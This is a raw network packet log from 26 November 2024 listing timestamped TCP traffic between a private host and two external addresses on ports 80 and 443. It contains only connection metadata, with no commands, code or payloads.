Nov 26, 2024 16:31:48.548805952 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.548820972 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.548866987 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.550246954 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.550261021 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.550299883 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.550328970 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.551486015 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.551506042 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.551537037 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.551548958 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.552378893 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.553473949 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.624635935 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.624648094 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.625336885 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.625406981 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.626511097 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.626590014 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.626621008 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.626702070 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.627383947 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.627404928 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.627490997 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.627490997 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.628654957 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.628670931 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.629987001 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.630069971 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.630853891 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.630870104 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.631134987 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.631656885 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.631676912 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.631732941 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.631732941 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.632879019 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.632908106 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.633873940 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.633888960 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.633961916 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.633992910 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.634999037 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.635015965 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.635030985 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.635143042 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.636043072 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.636065960 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.636140108 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.636879921 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.636898994 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.636955023 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.638010025 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.638029099 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.638184071 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.639117002 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.639136076 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.639214039 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.640249014 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.640268087 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.640281916 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.640296936 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.640310049 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.643131971 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.643152952 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.643237114 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.643237114 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.661899090 CET	443	49881	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:48.701235056 CET	49881	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:48.701266050 CET	443	49881	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:48.705110073 CET	49881	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:48.705147028 CET	443	49881	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:48.705157995 CET	49881	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:48.705389977 CET	443	49881	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:48.705429077 CET	443	49881	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:48.705498934 CET	49881	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:48.708822012 CET	49893	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:48.708867073 CET	443	49893	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:48.708919048 CET	49893	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:48.709104061 CET	49893	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:48.709121943 CET	443	49893	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:48.850356102 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.850362062 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.850374937 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.850389957 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.850404024 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.850415945 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.850419044 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.850435019 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.850455046 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.850471973 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.850481987 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.850487947 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.850495100 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.850512028 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.850517988 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.850521088 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.850529909 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.850545883 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.850558043 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.850568056 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.850569963 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.850604057 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.850613117 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.850619078 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.850625038 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.850649118 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.850661039 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.850687027 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.850698948 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.850708961 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.850718975 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.850720882 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.850750923 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.850756884 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.850769997 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.850774050 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.850802898 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.850815058 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.850821018 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.850827932 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.850841999 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.850856066 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.850872993 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.883220911 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.883239985 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.883294106 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.883307934 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.883320093 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.883335114 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.883351088 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.883363962 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.883377075 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.883393049 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.883400917 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.883411884 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.883416891 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.883436918 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.883445024 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.883446932 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.883464098 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.883497000 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.883501053 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.883508921 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.883538008 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.883548975 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.883553982 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.883565903 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.883589029 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.883600950 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.883610964 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.883637905 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.883639097 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.883650064 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.883662939 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.883678913 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.883697033 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.883704901 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.883733034 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.883733988 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.883747101 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.883758068 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.883769989 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.883796930 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.883796930 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.883800983 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.883811951 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.883846045 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.883846998 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.883857965 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.883869886 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.883882046 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.883882046 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.883909941 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.883912086 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.883922100 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.883932114 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.883953094 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.883966923 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.883980989 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.884005070 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.884021997 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.884032965 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.884043932 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.884056091 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.884079933 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.884084940 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.884098053 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.884109020 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.884120941 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.884121895 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.884135008 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.884155035 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.884166956 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.884180069 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.884201050 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.884201050 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.884210110 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.884215117 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:48.884310961 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:48.917335033 CET	443	49882	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:48.917404890 CET	443	49882	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:48.917496920 CET	49882	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:48.918448925 CET	49894	443	192.168.2.6	13.107.246.40
Nov 26, 2024 16:31:48.918490887 CET	443	49894	13.107.246.40	192.168.2.6
Nov 26, 2024 16:31:48.918564081 CET	49894	443	192.168.2.6	13.107.246.40
Nov 26, 2024 16:31:48.920063972 CET	49895	443	192.168.2.6	13.107.246.40
Nov 26, 2024 16:31:48.920101881 CET	443	49895	13.107.246.40	192.168.2.6
Nov 26, 2024 16:31:48.920452118 CET	49895	443	192.168.2.6	13.107.246.40
Nov 26, 2024 16:31:48.920646906 CET	49896	443	192.168.2.6	13.107.246.40
Nov 26, 2024 16:31:48.920682907 CET	443	49896	13.107.246.40	192.168.2.6
Nov 26, 2024 16:31:48.920805931 CET	49897	443	192.168.2.6	13.107.246.40
Nov 26, 2024 16:31:48.920836926 CET	443	49897	13.107.246.40	192.168.2.6
Nov 26, 2024 16:31:48.920841932 CET	49896	443	192.168.2.6	13.107.246.40
Nov 26, 2024 16:31:48.920882940 CET	49897	443	192.168.2.6	13.107.246.40
Nov 26, 2024 16:31:48.921459913 CET	49898	443	192.168.2.6	13.107.246.40
Nov 26, 2024 16:31:48.921468019 CET	443	49898	13.107.246.40	192.168.2.6
Nov 26, 2024 16:31:48.921576023 CET	49898	443	192.168.2.6	13.107.246.40
Nov 26, 2024 16:31:48.921941996 CET	49899	443	192.168.2.6	13.107.246.40
Nov 26, 2024 16:31:48.921953917 CET	443	49899	13.107.246.40	192.168.2.6
Nov 26, 2024 16:31:48.922005892 CET	49899	443	192.168.2.6	13.107.246.40
Nov 26, 2024 16:31:48.922210932 CET	49897	443	192.168.2.6	13.107.246.40
Nov 26, 2024 16:31:48.922226906 CET	443	49897	13.107.246.40	192.168.2.6
Nov 26, 2024 16:31:48.922364950 CET	49896	443	192.168.2.6	13.107.246.40
Nov 26, 2024 16:31:48.922377110 CET	443	49896	13.107.246.40	192.168.2.6
Nov 26, 2024 16:31:48.922456026 CET	49895	443	192.168.2.6	13.107.246.40
Nov 26, 2024 16:31:48.922470093 CET	443	49895	13.107.246.40	192.168.2.6
Nov 26, 2024 16:31:48.922569990 CET	49894	443	192.168.2.6	13.107.246.40
Nov 26, 2024 16:31:48.922585011 CET	443	49894	13.107.246.40	192.168.2.6
Nov 26, 2024 16:31:48.922986031 CET	49882	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:48.923007011 CET	443	49882	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:48.923017025 CET	49898	443	192.168.2.6	13.107.246.40
Nov 26, 2024 16:31:48.923019886 CET	49882	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:48.923026085 CET	443	49882	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:48.923026085 CET	443	49898	13.107.246.40	192.168.2.6
Nov 26, 2024 16:31:48.923139095 CET	49899	443	192.168.2.6	13.107.246.40
Nov 26, 2024 16:31:48.923147917 CET	443	49899	13.107.246.40	192.168.2.6
Nov 26, 2024 16:31:48.927694082 CET	49900	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:48.927716017 CET	443	49900	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:48.927882910 CET	49900	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:48.928235054 CET	49900	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:48.928246021 CET	443	49900	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:49.007458925 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.007464886 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.007493019 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.007499933 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.007524967 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.007531881 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.007541895 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.007549047 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.007570028 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.007575989 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.007579088 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.007592916 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.007600069 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.007611990 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.007628918 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.007635117 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.007683992 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.007683992 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.007704020 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.007710934 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.007730007 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.007735968 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.007757902 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.007771969 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.007788897 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.007791042 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.007814884 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.007824898 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.007844925 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.007847071 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.007852077 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.007872105 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.007900000 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.007905960 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.007916927 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.007927895 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.007934093 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.007939100 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.007945061 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.007956982 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.007962942 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.007970095 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.007982016 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.007997036 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008002996 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008014917 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008019924 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008024931 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.008044958 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.008094072 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008100033 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008105993 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008111000 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008116007 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008127928 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008133888 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008145094 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008151054 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008157015 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008167982 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008178949 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008184910 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008197069 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008198023 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.008203030 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008210897 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008224964 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008232117 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008244038 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008249998 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008254051 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.008256912 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008263111 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008284092 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008290052 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008296013 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.008297920 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008304119 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008310080 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.008316040 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008325100 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.008330107 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008337021 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008347034 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008352995 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008356094 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.008363008 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.008363962 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008371115 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008377075 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008388042 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008395910 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008397102 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.008402109 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008413076 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008419037 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008424044 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008438110 CET	80	49809	185.215.113.206	192.168.2.6
